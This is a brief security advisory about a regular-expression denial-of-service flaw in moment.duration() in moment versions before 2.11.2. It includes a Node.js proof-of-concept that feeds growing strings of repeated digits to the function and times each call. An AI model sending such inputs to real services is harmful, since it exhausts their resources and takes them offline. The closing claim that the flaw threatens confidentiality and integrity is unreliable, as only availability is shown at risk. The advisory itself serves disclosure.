QID 981210

Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.


## Proof of concept
```
var moment = require('moment');

var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}

return result;
}


for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)

var end = process.hrtime(start);
console.log(end);
}
```

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.